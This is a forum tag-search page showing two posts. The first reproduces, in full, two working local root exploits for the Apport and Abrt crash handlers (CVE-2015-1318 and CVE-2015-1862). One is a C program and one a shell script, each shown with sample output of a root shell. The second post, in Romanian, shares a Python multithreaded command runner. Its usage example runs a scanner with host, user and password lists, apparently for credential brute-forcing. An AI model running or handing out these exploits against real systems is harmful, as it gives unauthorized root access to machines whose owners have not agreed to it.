Search the Community
Showing results for tags 'subprocess'.
-
[CVE-2015-1318,CVE-2015-1862] Apport/Abrt Local Root Exploit #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <signal.h> #include <elf.h> #include <err.h> #include <syslog.h> #include <sched.h> #include <linux/sched.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/auxv.h> #include <sys/wait.h> # warning this file must be compiled with -static // // Apport/Abrt Vulnerability Demo Exploit. // // Apport: CVE-2015-1318 // Abrt: CVE-2015-1862 // // -- taviso@cmpxchg8b.com, April 2015. // // $ gcc -static newpid.c // $ ./a.out // uid=0(root) gid=0(root) groups=0(root) // sh-4.3# exit // exit // // Hint: To get libc.a, // yum install glibc-static or apt-get install libc6-dev // int main(int argc, char **argv) { int status; Elf32_Phdr *hdr; pid_t wrapper; pid_t init; pid_t subprocess; unsigned i; // Verify this is a static executable by checking the program headers for a // dynamic segment. Originally I thought just checking AT_BASE would work, // but that isnt reliable across many kernels. hdr = (void *) getauxval(AT_PHDR); // If we find any PT_DYNAMIC, then this is probably not a static binary. for (i = 0; i < getauxval(AT_PHNUM); i++) { if (hdr[i].p_type == PT_DYNAMIC) { errx(EXIT_FAILURE, "you *must* compile with -static"); } } // If execution reached here, it looks like we're a static executable. If // I'm root, then we've convinced the core handler to run us, so create a // setuid root executable that can be used outside the chroot. if (getuid() == 0) { if (chown("sh", 0, 0) != 0) exit(EXIT_FAILURE); if (chmod("sh", 04755) != 0) exit(EXIT_FAILURE); return EXIT_SUCCESS; } // If I'm not root, but euid is 0, then the exploit worked and we can spawn // a shell and cleanup. if (setuid(0) == 0) { system("id"); system("rm -rf exploit"); execlp("sh", "sh", NULL); // Something went wrong. err(EXIT_FAILURE, "failed to spawn root shell, but exploit worked"); } // It looks like the exploit hasn't run yet, so create a chroot. if (mkdir("exploit", 0755) != 0 || mkdir("exploit/usr", 0755) != 0 || mkdir("exploit/usr/share", 0755) != 0 || mkdir("exploit/usr/share/apport", 0755) != 0 || mkdir("exploit/usr/libexec", 0755) != 0) { err(EXIT_FAILURE, "failed to create chroot directory"); } // Create links to the exploit locations we need. if (link(*argv, "exploit/sh") != 0 || link(*argv, "exploit/usr/share/apport/apport") != 0 // Ubuntu || link(*argv, "exploit/usr/libexec/abrt-hook-ccpp") != 0) { // Fedora err(EXIT_FAILURE, "failed to create required hard links"); } // Create a subprocess so we don't enter the new namespace. if ((wrapper = fork()) == 0) { // In the child process, create a new pid and user ns. The pid // namespace is only needed on Ubuntu, because they check for %P != %p // in their core handler. On Fedora, just a user ns is sufficient. if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0) err(EXIT_FAILURE, "failed to create new namespace"); // Create a process in the new namespace. if ((init = fork()) == 0) { // Init (pid 1) signal handling is special, so make a subprocess to // handle the traps. if ((subprocess = fork()) == 0) { // Change /proc/self/root, which we can do as we're privileged // within the new namepace. if (chroot("exploit") != 0) { err(EXIT_FAILURE, "chroot didnt work"); } // Now trap to get the core handler invoked. __builtin_trap(); // Shouldn't happen, unless user is ptracing us or something. err(EXIT_FAILURE, "coredump failed, were you ptracing?"); } // If the subprocess exited with an abnormal signal, then everything worked. if (waitpid(subprocess, &status, 0) == subprocess) return WIFSIGNALED(status) ? EXIT_SUCCESS : EXIT_FAILURE; // Something didn't work. return EXIT_FAILURE; } // The new namespace didn't work. if (waitpid(init, &status, 0) == init) return WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS ? EXIT_SUCCESS : EXIT_FAILURE; // Waitpid failure. return EXIT_FAILURE; } // If the subprocess returned sccess, the exploit probably worked, reload // with euid zero. if (waitpid(wrapper, &status, 0) == wrapper) { // All done, spawn root shell. if (WIFEXITED(status) && WEXITSTATUS(status) == 0) { execl(*argv, "w00t", NULL); } } // Unknown error. errx(EXIT_FAILURE, "unexpected result, cannot continue"); } Apport - Local Linux Root #!/bin/sh # # CVE-2015-1318 # # Reference: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758 # # Example: # # % uname -a # Linux maggie 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux # # % lsb_release -a # No LSB modules are available. # Distributor ID: Ubuntu # Description: Ubuntu 14.04.2 LTS # Release: 14.04 # Codename: trusty # # % dpkg -l | grep '^ii apport ' | awk -F ' ' '{ print $2 " " $3 }' # apport 2.14.1-0ubuntu3.8 # # % id # uid=1000(ricardo) gid=1000(ricardo) groups=1000(ricardo) (...) # # % ./apport.sh # pwned-4.3# id # uid=1000(ricardo) gid=1000(ricardo) euid=0(root) groups=0(root) (...) # pwned-4.3# exit TEMPDIR=$(mktemp -d) cd ${TEMPDIR} cp /bin/busybox . mkdir -p dev mnt usr/share/apport ( cat << EOF #!/busybox sh ( cp /mnt/1/root/bin/bash /mnt/1/root/tmp/pwned chmod 5755 /mnt/1/root/tmp/pwned ) EOF ) > usr/share/apport/apport chmod +x usr/share/apport/apport ( cat << EOF mount -o bind . . cd . mount --rbind /proc mnt touch dev/null pivot_root . . ./busybox sleep 500 & SLEEP=\$! ./busybox sleep 1 ./busybox kill -11 \$SLEEP ./busybox sleep 5 EOF ) | lxc-usernsexec -m u:0:$(id -u):1 -m g:0:$(id -g):1 2>&1 >/dev/null -- \ lxc-unshare -s "MOUNT|PID|NETWORK|UTSNAME|IPC" -- /bin/sh 2>&1 >/dev/null /tmp/pwned -p rm -Rf ${TEMPDIR}
-
Acest script cross-platform permite rularea unei comenzi batch/bash cu parametri variabili preluati din fisiere text, linie cu linie. Am simtit nevoia sa fac ceva mai general tocmai din cauza multor subiecte si cereri pe tema asta. Indiferent cate comenzi veti executa tot outputul e afisat in timp real in aceeasi consola (sau si intr-un fisier) fara sa se amestece (se presupune a folosi comenzi de aceeasi speta ce genereaza un output calitativ nu cantitativ), iar preluarea comenzilor este foarte stabila, respecta cu strictete numarul threadurilor alocate si ordinea in functie de timpi. Codul este pur Python, pana si executarea comenzilor se face in procese separate independente de terminal, ceea ce previne shell injection si alte neplaceri cu restrictia unor "smenuri" tipice bash, dar acest comportament poate fi schimbat prin modificarea si adaugarea unui argument din clasa Popen, oricum nu intru in amanunte, fiindca e in afara scopului si nici nu cred ca va veti lovi de problema asta. Foloseste Python 2.x, testat pe windows 7 si backtrack cu un script simplu ca: #include <stdio.h> #include <time.h> #include <windows.h> #define N 10 /* N phases */ int main(int argc, char* argv[]) { int i; for (i = 0; i < N; ++i) { printf("Process %s with %s at phase %d.\n", argv[1], argv[2], i); fflush(stdout); Sleep(1000); /* replace with sleep(1) on posix */ } return 0; } Parametrii de test luati din 2 fisiere prin linia: run.py -t 2 -d 0.5 scan.exe @a.txt @b.txt P.S.: Atentie la output, imaginati-va putin cam cum va arata ceea ce urmeaza sa faceti ca sa nu aveti surprize. cd in folderul cu scriptul chmod +x ./run.py ./run.py -> vezi usage http://codepad.org/tn3Xwohw #! /usr/bin/env python # Shell Multi Runner # 12.02.2012 cmiN # # Execute commands in terminal asynchronously using subprocess # and show all output merged into one console. # # Contact: cmin764@yahoo/gmail.com import subprocess # better than popen/system/respawn from sys import argv, stdout from time import sleep from threading import active_count, Thread # parallelism # some settings FILE = None # output to file too THRD = 10 # threads DLAY = 1 # delay CHAR = '@' # wildcard # instantiated in only one object class Show(file): """ Thread safe printing class. Uses primitive locks. """ def __init__(self, fname=None): """ If `fname` isn't `None` write output to file too. """ self.locked = False # unlocked self.open_file(fname) def __del__(self): """ Destructor. Close an opened file. """ if self.fname: self.close() def open_file(self, fname): """ Open file for writing. """ self.fname = fname if fname: # init file super(Show, self).__init__(fname, 'w') def write(self, data): """ Safe write. """ while self.locked: # if writing in progress pass # wait # lock self.locked = True # write data if self.fname: super(Show, self).write(data) stdout.write(data) # flush data if self.fname: self.flush() stdout.flush() # release self.locked = False def fileno(self): """ Experimental. Used as file descriptor replacing pipes. """ if self.fname: return super(Show, self).fileno() return stdout.fileno() class Engine(Thread): """ Execute each command in a separate thread and listen for it's output. """ def __init__(self, command): super(Engine, self).__init__() # superclass constructor self.command = command def run(self): """ Function called from outside by `start` method. """ # fork the fucking process pobj = subprocess.Popen(self.command.split(), stdout=subprocess.PIPE, stderr=subprocess.STDOUT) # listen for new input while True: line = pobj.stdout.readline() if line == "": # more output it's about to come if pobj.poll() != None: # nope break # so exit continue # try again report.write(line) # globals usage = """ Usage: {0} [options] command Options: -t, --threads <int> how many asynchronous threads to run -d, --delay <float> time in seconds to wait between each run -f, --file <str> write output to file too Commands: <any valid command> ex: wget {1}links.txt If you preceed a parameter with {1} it becomes a list with parameters taken from a file called like itself. Old: ./scan -h 91.202.91.119 -u usr.txt -p pwd.txt New: {0} ./scan -h {1}hosts.txt -u usr.txt -p pwd.txt """.format(argv[0], CHAR) report = Show() # make verbose object def generate(command, expand, pos): """ Format command recursively. """ if pos == len(expand): # now command string is complete sleep(DLAY) # delay while active_count() > THRD: pass # wait if number of threads is exceeded report.write("[+] Start: %s\n" % command) Engine(command).start() return expand[pos].seek(0) # rewind for line in expand[pos]: generate(command.replace("{%d}" % pos, line.strip()), expand, pos + 1) def main(): global FILE, THRD, DLAY, CHAR # check if len(argv) == 1 or argv[1] in ('-h', "--help"): print usage return # insuficient parameters # parse report.write("[+] Parsing...\n") argv.pop(0) # remove script name command = "" ind = 0 # index expand = [] # list with special parameters while ind < len(argv): if argv[ind] in ('-t', "--threads"): ind += 1 THRD = int(argv[ind]) elif argv[ind] in ('-d', "--delay"): ind += 1 DLAY = float(argv[ind]) elif argv[ind] in ('-f', "--file"): ind += 1 FILE = argv[ind] report.open_file(FILE) elif argv[ind][0] == CHAR: # reserve variable parameter for special ones command += ' ' + "{%d}" % (len(expand)) # add to list special parameters (`CHAR`<smth>) expand.append(open(argv[ind][1:], 'r')) # file objects else: command += ' ' + argv[ind] ind += 1 # process report.write("[+] Processing...\n") generate(command.strip(), expand, 0) while active_count() > 1: pass # wait for running threads report.write("[+] Done.\n") if __name__ == "__main__": main() Updated: 14.02.2012
- 3 replies
-
- 1
-
- cmin
- multithreading
-
(and 3 more)
Tagged with: